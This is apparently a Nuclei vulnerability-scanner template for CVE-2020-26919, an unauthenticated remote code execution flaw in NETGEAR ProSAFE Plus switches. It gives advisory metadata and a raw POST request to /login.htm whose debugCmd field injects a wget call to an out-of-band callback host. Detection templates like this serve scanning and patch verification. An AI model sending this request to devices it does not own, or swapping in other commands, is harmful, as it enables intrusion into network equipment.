nuclei-templates/http/cves/2020/CVE-2020-26919.yaml

id: CVE-2020-26919

info:
  name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: NETGEAR ProSAFE Plus  before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26919
    - https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26919
    epss-score: 0.97336
    epss-percentile: 0.99862
    cpe: cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: jgs516pe_firmware
  tags: cve,cve2020,netgear,rce,oast,router,unauth,kev

http:
  - raw:
      - |
        POST /login.htm HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

        submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

# digest: 490a0046304402202f5cf20f82c61ffff927c9d5b7f79c8531f0c29fb8c2284e004dbfa241e2c13902202c10caac39e6e19d385b9fd155b41e7e25eb52946cd6cf459708c11d54b396dc:922c64590222798bb761d5b6d8e72950